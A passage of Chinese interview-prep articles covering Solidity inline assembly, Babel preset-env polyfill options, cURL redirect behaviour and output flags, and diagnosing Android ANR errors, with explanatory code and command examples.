写入 slot 0 } }}Mapping 的存储计算Mapping 不直接存储值，而是通过 keccak256(key ++ slot) 计算实际存储位置：function readMapping(address _key) external view returns (uint256) { assembly { // 在内存中拼接 key 和 slot mstore(0x00, _key) mstore(0x20, 2) // balances 在 slot 2 let slot := keccak256(0x00, 0x40) let value := sload(slot) mstore(0x00, value) return(0x00, 32) }}动态数组的存储计算动态数组的长度存储在声明槽，元素从 keccak256(slot) 开始顺序排列：function readArrayElement(uint256 _index) external view returns (uint256) { assembly { // 数组长度在 slot 4 let length := sload(4) // 元素起始位置 = keccak256(4) mstore(0x00, 4) let baseSlot := keccak256(0x00, 0x20) // 第 _index 个元素 let elementSlot := add(baseSlot, _index) let value := sload(elementSlot) mstore(0x00, value) return(0x00, 32) }}函数调用外部调用（call）call 是最常用的外部调用方式，可以发送 ETH 并执行目标合约的函数：function callExternal(address _target, bytes memory _data) external returns (bool success, bytes memory result){ assembly { let dataPtr := add(_data, 0x20) // 跳过长度字段 let dataSize := mload(_data) let resultPtr := mload(0x40) success := call( gas(), // 剩余 Gas _target, // 目标地址 0, // 发送的 ETH 数量 dataPtr, // 输入数据起始位置 dataSize, // 输入数据大小 resultPtr, // 返回数据起始位置 0x40 // 返回数据大小上限 ) let resultSize := returndatasize() returndatacopy(resultPtr, 0, resultSize) mstore(0x40, add(resultPtr, resultSize)) mstore(result, resultSize) mstore(add(result, 0x20), resultPtr) }}静态调用（staticcall）staticcall 保证不修改状态，适用于 view 函数调用：function staticCall(address _target, bytes memory _data) external view returns (bool success, bytes memory result){ assembly { let dataPtr := add(_data, 0x20) let dataSize := mload(_data) let resultPtr := mload(0x40) success := staticcall( gas(), _target, dataPtr, dataSize, resultPtr, 0x40 ) let resultSize := returndatasize() returndatacopy(resultPtr, 0, resultSize) }}委托调用（delegatecall）delegatecall 在当前合约的上下文中执行目标合约代码，是代理模式的核心：function delegateToImplementation(bytes memory _data) external returns (bytes memory) { assembly { let dataPtr := add(_data, 0x20) let dataSize := mload(_data) let resultPtr := mload(0x40) let success := delegatecall( gas(), sload(0), // implementation 地址 dataPtr, dataSize, resultPtr, 0x40 ) let resultSize := returndatasize() returndatacopy(resultPtr, 0, resultSize) if iszero(success) { revert(resultPtr, resultSize) } return(resultPtr, resultSize) }}面试常问：call、staticcall、delegatecall 三者的区别是什么？——call 在目标上下文执行、可发 ETH、可修改状态；staticcall 在目标上下文执行、禁止修改状态；delegatecall 在当前上下文执行目标代码、使用当前合约的 storage 和 msg.sender。Gas 优化实战循环优化这是最常见的 Assembly 优化场景。对比同一功能的 Solidity 和 Assembly 实现：contract GasComparison { uint256[] public items; // Solidity 实现：约 2800 Gas/次访问 function sumSolidity() external view returns (uint256 total) { for (uint i = 0; i < items.length; i++) { total += items[i]; } } // Assembly 实现：约 2200 Gas/次访问 function sumAssembly() external view returns (uint256 total) { assembly { mstore(0x00, items.slot) let baseSlot := keccak256(0x00, 0x20) let length := sload(items.slot) for { let i := 0 } lt(i, length) { i := add(i, 1) } { total := add(total, sload(add(baseSlot, i))) } } }}优化点：Assembly 跳过了边界检查、直接操作存储槽，每次循环迭代节省约 60-80 Gas。批量转账优化function batchTransfer(address[] memory _recipients, uint256[] memory _amounts) external payable{ require(_recipients.length == _amounts.length, "Length mismatch"); assembly { let recipientsPtr := add(_recipients, 0x20) let amountsPtr := add(_amounts, 0x20) let length := mload(_recipients) for { let i := 0 } lt(i, length) { i := add(i, 1) } { let recipient := mload(add(recipientsPtr, mul(i, 0x20))) let amount := mload(add(amountsPtr, mul(i, 0x20))) let success := call(gas(), recipient, amount, 0, 0, 0, 0) if iszero(success) { revert(0, 0) } } }}不安全指针优化（unchecked pointer）function optimizedSum(uint256[] memory _values) external pure returns (uint256) { assembly { let ptr := add(_values, 0x20) let length := mload(_values) let total := 0 // Assembly 中的 add 不做溢出检查 // 等同于 Solidity 0.8+ 的 unchecked 块 for { let i := 0 } lt(i, length) { i := add(i, 1) } { total := add(total, mload(add(ptr, mul(i, 0x20)))) } mstore(0x00, total) return(0x00, 32) }}合约创建create 与 create2contract ContractCreation { // create：地址不可预测 function deploy(bytes memory _bytecode) external returns (address addr) { assembly { let size := mload(_bytecode) let ptr := add(_bytecode, 0x20) addr := create(0, ptr, size) if iszero(extcodesize(addr)) { revert(0, 0) } } } // create2：确定性地址 = keccak256(0xff ++ sender ++ salt ++ keccak256(bytecode)) function deployWithSalt(bytes memory _bytecode, bytes32 _salt) external returns (address addr) { assembly { let size := mload(_bytecode) let ptr := add(_bytecode, 0x20) addr := create2(0, ptr, size, _salt) if iszero(extcodesize(addr)) { revert(0, 0) } } }}面试追问：create2 的确定性地址有什么用途？——主要用于反事实部署（counterfactual deployment），即在不实际部署合约的情况下预先计算其地址，常见于 Layer 2 的账户抽象和工厂合约模式。安全注意事项Assembly 绕过了 Solidity 的所有内置安全机制，以下是必须关注的风险点：1. 内存指针管理忘记更新 0x40 处的空闲内存指针是 Assembly 中最常见的 bug：// 错误：忘记更新空闲指针，后续内存操作可能覆盖数据assembly { let ptr := mload(0x40) mstore(ptr, 123) // 缺少 mstore(0x40, add(ptr, 0x20))}// 正确：每次写入后更新指针assembly { let ptr := mload(0x40) mstore(ptr, 123) mstore(0x40, add(ptr, 0x20))}2. 整数溢出Solidity 0.8+ 默认检查溢出，Assembly 不会：function safeAdd(uint256 a, uint256 b) external pure returns (uint256) { assembly { let result := add(a, b) // 手动检查溢出 if lt(result, a) { revert(0, 0) } mstore(0x00, result) return(0x00, 32) }}3. 重入攻击Assembly 不会自动应用 Solidity 的重入锁，必须手动实现：contract AssemblyReentrancyGuard { uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private status = NOT_ENTERED; function safeTransferETH(address _to, uint256 _amount) external { assembly { // 检查重入锁 if eq(sload(0), 2) { revert(0, 0) } // 加锁 sstore(0, 2) // 检查地址有效性 if iszero(_to) { revert(0, 0) } // 执行转账 let success := call(gas(), _to, _amount, 0, 0, 0, 0) // 解锁 sstore(0, 1) if iszero(success) { revert(0, 0) } } }}4. 存储槽冲突直接用 sstore 写入存储时，必须确保不会覆盖其他变量的存储槽：// 危险：直接写入任意 slotassembly { sstore(0, 999) // 可能覆盖 value1！}// 安全：使用 Solidity 变量的 .slot 属性assembly { sstore(value1.slot, 999)}常见实用模式高效哈希计算function efficientHash(bytes memory _data) external pure returns (bytes32) { assembly { let ptr := add(_data, 0x20) let size := mload(_data) let hash := keccak256(ptr, size) mstore(0x00, hash) return(0x00, 32) }}检测合约地址function hasCode(address _addr) external view returns (bool) { assembly { let size := extcodesize(_addr) mstore(0x00, gt(size, 0)) return(0x00, 32) }}注意：extcodesize 在合约构造函数执行期间返回 0，因此不能用来可靠区分 EOA 和合约。switch 多条件判断function optimizedCondition(uint256 x) external pure returns (uint256) { assembly { switch x case 0 { mstore(0x00, 100) } case 1 { mstore(0x00, 200) } default { mstore(0x00, 300) } return(0x00, 32) }}数组查找并删除function findAndRemove(uint256[] storage _arr, uint256 _value) external { assembly { let length := sload(_arr.slot) mstore(0x00, _arr.slot) let baseSlot := keccak256(0x00, 0x20) for { let i := 0 } lt(i, length) { i := add(i, 1) } { if eq(sload(add(baseSlot, i)), _value) { // 用最后一个元素替换被删除的元素 let lastSlot := add(baseSlot, sub(length, 1)) sstore(add(baseSlot, i), sload(lastSlot)) sstore(_arr.slot, sub(length, 1)) stop() } } }}Yul：更安全的汇编选择Solidity 0.8.x 推荐使用 Yul 作为 Assembly 的替代方案。Yul 是一种中间语言，比原始 Assembly 更结构化：// Yul 独立模式示例object "MyContract" { code { // 部署代码 datacopy(0, dataoffset("Runtime"), datasize("Runtime")) return(0, datasize("Runtime")) } object "Runtime" { code { // 运行时代码 switch selector() case 0x12345678 { // 函数逻辑 } } }}Yul 的优势：编译器可以跨块优化支持类型检查（比 Assembly 更严格）可通过 --via-ir 编译管道获得更好的优化效果总结Assembly 在 Solidity 开发中是一把双刃剑：适用场景：Gas 敏感的关键路径（DeFi 核心逻辑、批量操作）、实现 Solidity 不支持的 EVM 特性、极致的内存和存储控制。使用原则：只在有明确收益时使用，每一段 Assembly 都需要详细注释、充分测试、专业审计。优先考虑 Solidity 0.8+ 的 unchecked 块和 --via-ir 编译选项作为轻量级替代。安全底线：正确管理内存指针、手动检查溢出、实现重入防护、避免存储槽冲突、验证所有外部调用的返回值。

@babel/preset-env 到底做了什么？面试中被问到 Babel 配置，preset-env 几乎是必考项。很多人能说出 useBuiltIns 有三个值，但说不清它们背后的处理逻辑——这恰恰是区分"用过"和"理解"的分界线。先给结论：@babel/preset-env 的核心职责只有一件事——根据你声明的目标环境，自动决定需要哪些语法转换插件和 polyfill。你不用再手动罗列 @babel/plugin-transform-arrow-functions、@babel/plugin-transform-classes 这一个个插件了。它是怎么知道该用哪些插件的？preset-env 的工作依赖一个关键数据源：@babel/compat-data。这个包维护了一份"哪些浏览器版本支持哪些 ES 特性"的映射表，数据来源于 mdn-browser-compat-data 和 electron-to-chromium。当你配置了 targets：// babel.config.jsmodule.exports = { presets: [ ['@babel/preset-env', { targets: { browsers: ['> 1%', 'last 2 versions', 'not dead'], node: 'current' }, useBuiltIns: 'usage', corejs: 3 }] ]};处理流程是这样的：解析 targets：通过 browserslist 将 > 1% 这类查询语句转成具体的浏览器版本列表，比如 chrome 90, firefox 88, safari 14查询 compat-data：对每个 ES 特性，查表判断目标环境是否已原生支持选择插件：不支持的特性，启用对应的转换插件。比如目标环境不支持可选链，就加上 @babel/plugin-proposal-optional-chaining处理 polyfill：这一步由 useBuiltIns 选项控制，下面详细说如果没有指定 targets，preset-env 不会做任何转换——等价于没配。这是个常见的坑。useBuiltIns 三个选项到底有什么区别？这是面试最核心的问题，也是实际配置中最容易搞混的地方。false — 不处理 polyfill默认值。preset-env 只做语法转换，不管 polyfill。你需要自己手动在入口文件引入全量 core-js：import 'core-js/stable';import 'regenerator-runtime/runtime';缺点很明显：不管你用没用到 Array.prototype.includes，全量包里都有它。包体积大，而且会污染全局原型。只在不需要 polyfill 的场景下有用——比如你的目标环境已经全部支持 ES2020+。entry — 按目标环境过滤，替换入口导入你需要在入口文件写一行 import 'core-js/stable'，preset-env 会把它替换成目标环境实际需要的模块列表：// 你写的import 'core-js/stable';// 转换后（假设目标是 chrome 90）import 'core-js/modules/es.array.flat';import 'core-js/modules/es.object.from-entries';// ... 只包含 chrome 90 不支持的特性entry 的过滤维度只有一个：目标环境缺什么就补什么。但它不考虑你的代码实际用了哪些 API——哪怕你一行 Promise 都没写，只要目标环境不支持 Promise，polyfill 就会包含进去。usage — 按代码实际使用按需引入usage 是最精确的模式。它会扫描你的源代码，找到实际使用的 API，然后只引入对应的 polyfill：// 你写的const arr = [1, 2, 3];arr.includes(2);const p = Promise.resolve(1);// 转换后import 'core-js/modules/es.array.includes';import 'core-js/modules/es.promise';var arr = [1, 2, 3];arr.includes(2);var p = Promise.resolve(1);包体积最小，也不需要手动写 import。但 usage 有一个需要注意的问题：它不会为 node_modules 里的依赖注入 polyfill。如果你的第三方库用到了某些新 API 但自身没做 polyfill，运行时可能报错。这种场景下 entry 更安全。三个选项对比| 选项 | 引入方式 | 包体积 | 全局污染 | 是否考虑实际使用 | 适用场景 ||------|----------|--------|----------|------------------|----------|| false | 手动全量引入 | 最大 | 是 | 否 | 极少使用 || entry | 替换入口导入 | 中等 | 是 | 否（按环境过滤） | 应用开发，依赖多且未编译 || usage | 按需自动注入 | 最小 | 是 | 是（按代码扫描） | 应用开发（推荐） |所有模式都会污染全局原型。如果你在开发库，不应该用 useBuiltIns。库开发为什么不用 useBuiltIns？库的代码会被其他项目引用。如果库修改了全局的 Array.prototype.includes，而宿主项目也引入了相同 polyfill，就会冲突。更糟的是，宿主项目可能根本不想污染全局。库开发的正确姿势是用 @babel/plugin-transform-runtime：// babel.config.jsmodule.exports = { presets: ['@babel/preset-env'], plugins: [ ['@babel/plugin-transform-runtime', { corejs: 3, helpers: true, regenerator: true }] ]};它通过引用 @babel/runtime-corejs3 里的辅助函数来实现 polyfill，不会触碰全局原型：// 转换前arr.includes(2);// 转换后import _includesInstanceProperty from "@babel/runtime-corejs3/core-js-stable/instance/includes";_includesInstanceProperty(arr).call(arr, 2);代价是每个用到 polyfill 的文件都会引入一段辅助代码，包体积会比 usage 稍大。但对库来说，不污染全局是比体积更重要的约束。实际配置建议应用项目：targets + useBuiltIns: 'usage' + corejs: 3，这是最省心的组合。如果第三方依赖有 polyfill 缺失问题，再切换到 entry。module.exports = { presets: [ ['@babel/preset-env', { targets: '> 1%, last 2 versions, not dead', useBuiltIns: 'usage', corejs: { version: 3, proposals: true } }] ]};库项目：preset-env 只管语法转换，polyfill 交给 transform-runtime。module.exports = { presets: [['@babel/preset-env', { targets: { node: 'current' } }]], plugins: [ ['@babel/plugin-transform-runtime', { corejs: 3 }] ]};调试方法：加上 debug: true 可以在终端看到每个文件用了哪些插件和 polyfill，排查问题非常方便：# 或者用环境变量DEBUG=@babel/preset-env npx babel src/index.js面试追问方向preset-env 不配 targets 会怎样？——什么都不转换，等于白装usage 模式下第三方依赖的 polyfill 怎么办？——entry 更安全，或者确保依赖自身做了 polyfillcorejs 配置为什么要写具体版本号？——写 3 会用最新版，可能导致构建不确定；写 3.40 可以锁定版本

cURL 处理 HTTP 重定向是日常开发和面试中的高频考点。理解 cURL 重定向机制，核心在于掌握三个层面：跟随重定向的开关控制、不同状态码下的方法切换行为、以及跨域重定向的安全边界。面试核心答案cURL 默认不跟随重定向，需加 -L（或 --location）才会自动追踪 3xx 响应。重定向时，301/302/303 会将 POST 请求降级为 GET，而 307/308 会保持原始方法。通过 --post301/--post302 可以覆盖默认行为。跨域重定向时，cURL 默认不转发 Authorization 等敏感头，需 --location-trusted 显式允许。重定向的基本控制cURL 遇到 3xx 响应时，默认只返回重定向响应头，不会自动跳转到新地址。使用 -L 开启跟随重定向：# 默认：不跟随，只返回 301/302 响应curl http://example.com# 跟随重定向到最终地址curl -L http://example.comcurl --location http://example.com用 -v 可以看到完整的重定向过程，包括每一跳的 Location 头和状态码，排查问题时非常实用：curl -L -v http://example.com为什么 301/302 会把 POST 变成 GET这是面试中最常追问的点。原因在于 HTTP 规范的历史演进：301 Moved Permanently 和 302 Found 在 RFC 1945（HTTP/1.0）时代就定义了，当时的客户端实现普遍把重定向后的 POST 改为 GET。后来 RFC 7231 将这个行为正式标准化——301/302 重定向后，客户端"可以"将方法改为 GET。303 See Other 是 HTTP/1.1 新增的，明确要求重定向后必须使用 GET，典型场景是 POST 表单提交后跳转到结果页。307 Temporary Redirect 和 308 Permanent Redirect 是后来补充的状态码，设计动机就是解决 301/302 方法降级的问题。307/308 明确要求保持原始请求方法不变。| 状态码 | 含义 | 方法变化 | 适用场景 || --- | --- | --- | --- || 301 | 永久重定向 | POST → GET | 网址永久迁移 || 302 | 临时重定向 | POST → GET | 临时跳转（旧规范） || 303 | 另见其他 | POST → GET | POST 后跳结果页 || 307 | 临时重定向 | 保持不变 | API 临时切换地址 || 308 | 永久重定向 | 保持不变 | API 永久迁移 |在 cURL 中控制 POST 重定向行为：# 默认：301/302 重定向后 POST 变 GETcurl -L -X POST -d "data=test" http://example.com/submit# 301 重定向时保持 POST（遵循 RFC 7231）curl -L --post301 -X POST -d "data=test" http://example.com/submit# 302 重定向时保持 POSTcurl -L --post302 -X POST -d "data=test" http://example.com/submit# 303 重定向时保持 POSTcurl -L --post303 -X POST -d "data=test" http://example.com/submit重定向次数限制cURL 默认最多跟随 50 次重定向，超过则报错。生产环境中应主动设置合理上限，防止重定向循环：# 限制最多 5 次重定向curl -L --max-redirs 5 http://example.com# 允许无限重定向（有循环风险，不建议）curl -L --max-redirs -1 http://example.com查看重定向链调试重定向问题时，需要知道中间经历了哪些跳转。cURL 提供了 -w 格式化输出来获取关键信息：# 查看最终到达的 URLcurl -L -w "Final URL: %{url_effective}\n" -o /dev/null -s http://example.com# 查看总重定向次数curl -L -w "Redirects: %{num_redirects}\n" -o /dev/null -s http://example.com# 同时获取最终 URL、重定向次数和状态码curl -L -w "\n最终URL: %{url_effective}\n重定向次数: %{num_redirects}\nHTTP状态: %{http_code}\n" \ -o /dev/null -s http://example.com用 -v 配合 grep 可以查看每一跳的 Location 头：curl -L -v http://example.com 2>&1 | grep -E "(< HTTP|< Location)"跨域重定向与安全cURL 在跨域重定向时的安全行为容易被忽视，也是面试加分项：敏感头不自动转发。 当重定向到不同域名时，cURL 默认不会转发 Authorization、Cookie 等敏感请求头。这是安全设计——防止凭据意外泄露给第三方域名。# 跨域重定向时，Authorization 不会发给新域名curl -L -H "Authorization: Bearer token123" http://api.example.com/old# 显式允许转发敏感头（仅在信任目标域名时使用）curl -L --location-trusted -H "Authorization: Bearer token123" \ http://api.example.com/oldCookie 的 SameSite 限制。 现代浏览器的 SameSite 策略会影响跨站重定向时的 Cookie 携带，但 cURL 作为命令行工具不受此限制。cURL 中 Cookie 的跨域行为完全由 -c（写入 cookie jar）和 -b（发送 cookie）参数控制：# 手动管理跨域重定向的 Cookiecurl -L -c cookies.txt -b cookies.txt -v http://example.com限制重定向协议。 安全场景下，可以阻止 HTTP→HTTPS 之外的重定向，防止降级攻击：# 只允许重定向到 HTTPScurl -L --proto-redir =https http://example.com常见问题与排查重定向循环。 服务端配置错误可能导致 A→B→A 的无限循环。用 --max-redirs 设置上限，观察 -v 输出中的循环跳转即可定位。POST 数据丢失。 301/302 重定向后 POST 变 GET，请求体丢失。解决方案：使用 --post301/--post302，或让服务端返回 307/308。HTTPS 证书错误导致重定向失败。 从 HTTP 重定向到 HTTPS 时，如果目标证书有问题会中断。开发环境可用 -k 跳过验证，生产环境必须修复证书。# 开发环境临时跳过 SSL 验证curl -L -k https://example.com实战：完整的重定向感知请求将关键参数组合使用，构建一个对重定向行为完全可控的请求：curl -L --max-redirs 5 \ --post302 \ --proto-redir =https \ -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer token123" \ -d '{"action":"submit"}' \ -w "\n最终URL: %{url_effective}\n重定向次数: %{num_redirects}\nHTTP状态: %{http_code}\n" \ http://api.example.com/submit这段命令同时控制了：跟随重定向（-L）、次数上限（--max-redirs 5）、POST 方法保持（--post302）、只允许重定向到 HTTPS（--proto-redir =https）、以及最终结果的格式化输出。追问方向cURL 能处理 HTML meta 重定向或 JavaScript 重定向吗？ 不能。cURL 只处理 HTTP 层的 3xx 响应，不解析 HTML 也不执行 JS。--location-trusted 有什么安全风险？ 会将 Authorization 等敏感头转发给重定向目标域名，如果目标不可信（如开放重定向漏洞），凭据会被窃取。重定向链中如何逐跳传递自定义头？ cURL 默认只对首次请求添加自定义头，重定向后的请求不保留。需要用 -H 配合 --location-trusted 或通过重定向后 URL 的路径判断手动处理。

cURL 是后端开发和运维中最常用的命令行工具之一，而 -v、-i、-I、-s 这四个参数控制着输出的内容和格式。很多人混用它们，实际上它们的输出目标、请求方式和适用场景完全不同。一张图看清区别| 参数 | 全称 | 请求方法 | 输出内容 | 输出目标 || ---- | -------------- | ----- | ------------- | ------ || -v | --verbose | 不改变 | 连接过程 + 请求头 + 响应头 | stderr || -i | --include | 不改变 | 响应头 + 响应体 | stdout || -I | --head | HEAD | 仅响应头 | stdout || -s | --silent | 不改变 | 仅响应体（无进度条） | stdout | 关键区别：-v 的输出写入 stderr，其余三个写入 stdout。这意味着 -v 不会干扰管道操作，而 -i 和 -I 的响应头会混入 stdout 数据流。逐个拆解-v：看懂完整的通信过程curl -v https://api.example.com输出长这样：* Trying 93.184.216.34:443...* Connected to api.example.com (93.184.216.34) port 443* SSL connection using TLS_AES_256_GCM_SHA384> GET / HTTP/1.1> Host: api.example.com> User-Agent: curl/8.1.2> Accept: */*>< HTTP/1.1 200 OK< Content-Type: application/json< Content-Length: 42<{"status":"ok"}输出符号的含义：* 开头 —— 连接和 TLS 握手信息> 开头 —— 发送给服务器的请求头< 开头 —— 服务器返回的响应头为什么 -v 写入 stderr 而不是 stdout？ 这是 curl 的设计哲学：stdout 留给实际数据（响应体），stderr 留给诊断信息。所以你可以这样用：# 调试信息存文件，响应体正常输出curl -v https://api.example.com 2>debug.log# 管道不会被打断curl -v https://api.example.com 2>/dev/null | jq .status-i：响应头和响应体一起拿curl -i https://api.example.com输出：HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 42Date: Mon, 01 Mar 2026 10:00:00 GMT{"status":"ok"}响应头和响应体之间用一个空行分隔。-i 不改变请求方法，该发 GET 还是 GET，该发 POST 还是 POST，只是把响应头也一并输出。注意：因为响应头混入了 stdout，直接管道给 jq 会解析失败。解决办法：# 用 -D - 把响应头写到 stderr，响应体单独给 jqcurl -s -D - https://api.example.com 2>/dev/null | jq .-I：只看响应头，不发请求体curl -I https://api.example.com输出：HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 42Date: Mon, 01 Mar 2026 10:00:00 GMTETag: "abc123"Cache-Control: max-age=3600-I 会把请求方法改成 HEAD。大多数服务器对 HEAD 请求和 GET 请求返回相同的响应头，但不是所有：有些 CDN 对 HEAD 请求返回的 Content-Length 可能为 0某些 API 网关对 HEAD 和 GET 的路由规则不同少数服务器直接拒绝 HEAD 请求如果需要 GET 请求的响应头，用这个代替：curl -s -D - -o /dev/null https://api.example.com-s：安静干活，只出结果# 不显示进度条，只输出响应体curl -s https://api.example.com-s 关闭进度条和错误信息，但不会关闭响应体输出。在脚本里特别有用：# 获取数据并解析response=$(curl -s https://api.example.com/users)echo "$response" | jq ".[] | .name"-s 的坑：静默模式下连错误信息也被吞了。网络超时、DNS 解析失败都不会有任何提示。所以实际使用中，-s 几乎总是和 -S 搭配：# 静默但保留错误输出curl -sS https://api.example.com常见组合技巧# 检查 HTTP 状态码（脚本健康检查）curl -s -o /dev/null -w "%{http_code}" https://api.example.com# 调试 SSL 证书问题curl -v https://api.example.com 2>&1 | grep -E "SSL|TLS|certificate"# 静默拿响应头（实际发 GET 请求）curl -s -D - -o /dev/null https://api.example.com# 完整调试 + 保存日志curl -v https://api.example.com -o response.json 2>debug.log# 检查 CDN 缓存是否命中curl -I -s https://cdn.example.com/image.jpg | grep -i "x-cache"面试追问方向Q: -v 和 -i 都能看到响应头，有什么本质区别？A: 三个关键区别：（1）-v 同时显示请求头和响应头，-i 只显示响应头；（2）-v 还包含连接过程（DNS、TLS 握手），-i 只包含最终响应；（3）-v 写入 stderr，-i 写入 stdout，管道处理时行为完全不同。Q: 为什么 curl -I 有时候拿不到正确的 Content-Length？A: 因为 -I 发送的是 HEAD 请求，有些服务器对 HEAD 请求返回的 Content-Length 为 0 或者不返回该字段。如果需要 GET 请求的真实 Content-Length，应该用 curl -s -D - -o /dev/null 代替。Q: -sS 组合是什么意思？为什么不直接用 -s？A: -s 关闭了进度条和所有错误输出，包括网络超时、连接拒绝等重要信息。-S（--show-error）在 -s 模式下重新启用错误输出。脚本中几乎总是需要 -sS 而非单独 -s，否则故障排查时完全不知道请求为什么失败。速查表| 你想做什么 | 用什么参数 || ---------------- | ------------------ || 排查请求为什么没发出去 | -v || 看服务器返回了什么响应头 | -i 或 -D - || 只检查状态码或缓存头 | -I 或 -I -s || 脚本里安静拿数据 | -sS || 获取 HTTP 状态码 | -s -o /dev/null -w "%{http_code}" || 保存调试日志 | -v 2>debug.log |

ANR是什么？ANR（Application Not Responding）是Android系统的一种保护机制。当应用主线程在规定时间内无法响应用户操作或系统事件时，系统会弹出"应用无响应"对话框，让用户选择继续等待或强制关闭。ANR不是崩溃（Crash），二者本质不同：Crash是程序异常导致的进程终止，ANR是主线程阻塞导致的超时告警。一个Crash的进程也可能同时触发ANR——如果主线程在异常处理过程中阻塞了输入事件分发。ANR的触发条件| 类型 | 超时阈值 | 触发场景 ||------|---------|---------|| 输入事件ANR | 5秒 | 按键/触摸事件未在窗口内完成分发 || 前台广播ANR | 10秒 | onReceive()执行超时 || 后台广播ANR | 60秒 | 后台广播接收器超时 || 前台Service ANR | 20秒 | Service生命周期方法执行超时 || 后台Service ANR | 200秒 | 后台Service超时 || ContentProvider ANR | 10秒 | ContentProvider操作未及时返回 |ANR的常见原因主线程执行耗时操作这是ANR最常见的原因。网络请求、数据库查询、文件IO、复杂计算等操作如果在主线程执行，会阻塞事件分发，触发ANR。// 错误示例：主线程网络请求fun onClick(v: View) { val result = httpClient.execute(request) // 直接在主线程网络请求，5秒超时必ANR}// 正确示例：协程切换到IO线程lifecycleScope.launch { val result = withContext(Dispatchers.IO) { httpClient.execute(request) } // 回到主线程更新UI textView.text = result}死锁主线程等待子线程持有的锁，子线程又等待主线程持有的锁，形成循环等待。private val lock1 = Object()private val lock2 = Object()// 主线程synchronized(lock1) { Thread.sleep(100) synchronized(lock2) { /* 死锁 */ }}// 子线程synchronized(lock2) { Thread.sleep(100) synchronized(lock1) { /* 死锁 */ }}Binder通信超时跨进程调用时，如果服务端进程无响应或响应过慢，客户端主线程会因等待Binder回调而阻塞。内存不足导致频繁GC内存紧张时，系统频繁触发GC，GC过程会暂停所有线程（Stop-The-World），主线程也被挂起，累积后可能触发ANR。ANR的定位方法分析traces文件ANR发生时，系统会将所有线程的堆栈快照写入traces文件：# 旧版系统adb pull /data/anr/traces.txt# Android 10+，traces文件按时间命名adb pull /data/anr/anr_2026-05-28-14-30-00-000分析步骤：定位到自己的进程PID（搜索包名）查看"main"线程状态，关注 Sleeping、Waiting、Monitor 等阻塞状态沿堆栈从上往下找，定位到业务代码位置如果主线程状态是 Monitor，说明在等锁，搜索持有该锁的线程"main" prio=5 tid=1 Monitor | group="main" sCount=1 dsCount=0 obj=0x73c12000 self=0xb8e2e800 at com.example.app.MyActivity.loadData(MyActivity.java:42) - waiting to lock <0x0d123456> (a java.lang.Object) held by thread "Worker-1"使用Logcat过滤ANR信息adb logcat | grep -E "am_anr|ANR in"日志中会输出ANR的进程、原因、CPU使用情况。CPU使用率接近100%说明是计算密集型阻塞，CPU使用率很低说明是等锁或IO等待。使用StrictMode检测主线程违规操作if (BuildConfig.DEBUG) { StrictMode.setThreadPolicy( StrictMode.ThreadPolicy.Builder() .detectDiskReads() .detectDiskWrites() .detectNetwork() .penaltyLog() .build() )}StrictMode只在Debug模式下启用，可以在开发阶段提前发现主线程的磁盘读写和网络请求。使用性能分析工具Systrace：系统级性能追踪，能展示主线程每一帧的耗时分布，定位ANR前的卡顿点Android Studio CPU Profiler：方法级别的耗时分析，找出主线程最耗时的调用链Perfetto：Systrace的升级版，支持更长时间的性能追踪ANR的解决方案将耗时操作移到子线程// Kotlin协程（推荐）lifecycleScope.launch(Dispatchers.IO) { val data = database.query() withContext(Dispatchers.Main) { updateUI(data) }}// 线程池val executor = Executors.newFixedThreadPool(4)executor.execute { val data = database.query() runOnUiThread { updateUI(data) }}避免死锁统一锁的获取顺序，避免循环等待使用 tryLock(timeout) 替代 lock()，设置超时避免永久阻塞缩小锁的粒度，减少持锁时间优先使用无锁方案，如 ConcurrentHashMap、AtomicInteger优化广播接收器// onReceive中不要执行耗时操作override fun onReceive(context: Context, intent: Intent) { // 耗时任务交给WorkManager val request = OneTimeWorkRequestBuilder<DataProcessWorker>() .setInputData(workDataOf("key" to intent.getStringExtra("key"))) .build() WorkManager.getInstance(context).enqueue(request)}线上ANR监控// 使用FileObserver监听traces文件写入class ANRMonitor(private val anrDir: String = "/data/anr") { private val observer = object : FileObserver(anrDir, FileObserver.CREATE) { override fun onEvent(event: Int, path: String?) { // 检测到新traces文件，上报ANR信息 reportANR(path) } } fun start() { observer.startWatching() }}// 使用Watchdog定时检测主线程是否阻塞class ANRWatchdog(private val timeoutMs: Long = 5000) : Thread("ANR-Watchdog") { private val handler = Handler(Looper.getMainLooper()) @Volatile private var tick = 0L override fun run() { while (true) { val expectedTick = SystemClock.uptimeMillis() handler.post { tick = expectedTick } sleep(timeoutMs) if (tick != expectedTick) { // 主线程阻塞超过5秒，收集堆栈上报 reportANR(Looper.getMainLooper().thread.stackTrace) } } }}面试追问问：ANR和Crash有什么区别？ANR是主线程超时触发的系统对话框，进程仍在运行；Crash是未捕获异常导致的进程终止。关键区别：ANR时进程存活，Crash时进程死亡。但Crash可能引发ANR——异常处理过程中若阻塞了主线程，会先ANR再Crash。问：traces.txt找不到业务代码怎么办？说明ANR不是业务代码直接阻塞导致的。常见情况：系统GC暂停（主线程状态为 NATIVE 或 SUSPENDED）、Binder对端进程阻塞（看 Binder 线程堆栈）、系统资源竞争（看是否有系统锁持有者）。此时需要结合 Systrace 分析系统级行为。问：线上ANR率怎么治理？分三步：一是接入监控，使用 Watchdog 或 FileObserver 实时采集 ANR 堆栈；二是归因分类，将 ANR 按原因分为 IO 阻塞、锁等待、GC 频繁、Binder 超时等类型；三是逐类治理，IO 异步化、减少锁竞争、优化内存减少 GC、拆分跨进程调用。治理是持续过程，需要建立 ANR 率的看板和告警。

